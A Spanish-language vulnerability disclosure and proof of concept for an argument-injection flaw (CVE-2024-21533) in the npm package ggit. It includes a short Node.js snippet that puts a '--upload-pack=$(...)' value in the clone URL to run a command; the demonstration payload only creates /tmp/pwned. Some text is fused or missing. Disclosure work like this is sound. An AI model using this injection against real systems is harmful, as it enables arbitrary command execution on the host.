
CVE-2024-21533 PoC ggit
ggit se describe a sí mismo como:
Envoltorios de comandos git locales basados en promesas
Recursos:
Artículo de análisis sobre esta vulnerabilidad de inyección de argumentos: https://nodejs-security.com/blog/flawed-git-promises-library-on-npm-leads-to-command-injection-vulnerability
Reporto una vulnerabilidad de Inyección de Argumentos en el paquete npm ggit.
Esta vulnerabilidad se manifiesta con la API clone() de la librería,
que permite especificar la URL remota para clonar y el archivo en disco donde clonar.
Sin embargo, la librería no sanitiza la entrada del usuario ni valida el esquema de una URL determinada,
ni pasa adecuadamente las banderas de línea de comandos al binario git utilizando los caracteres POSIX de doble guion
(--) para indicar el fin de las opciones.
Por lo tanto, permite a los usuarios explotar una vulnerabilidad de inyección de argumentos en Git debido a la
opción de línea de comandos --upload-pack que resulta en la ejecución de comandos arbitrarios.
(outPath) para clonarlo, entonces la vulnerabilidad aplica.
[email protected] o anteriorconst clone = require("ggit").cloneRepo;
clone({
url: "--upload-pack=$(touch /tmp/pwned)",
folder: "/tmp/dbd",
}).then(function () {
console.log("cloned repo to destination folder");
});
/tmp/pwnedPor favor, consulta CONTRIBUTING para las pautas sobre cómo contribuir a este proyecto.
Liran Tal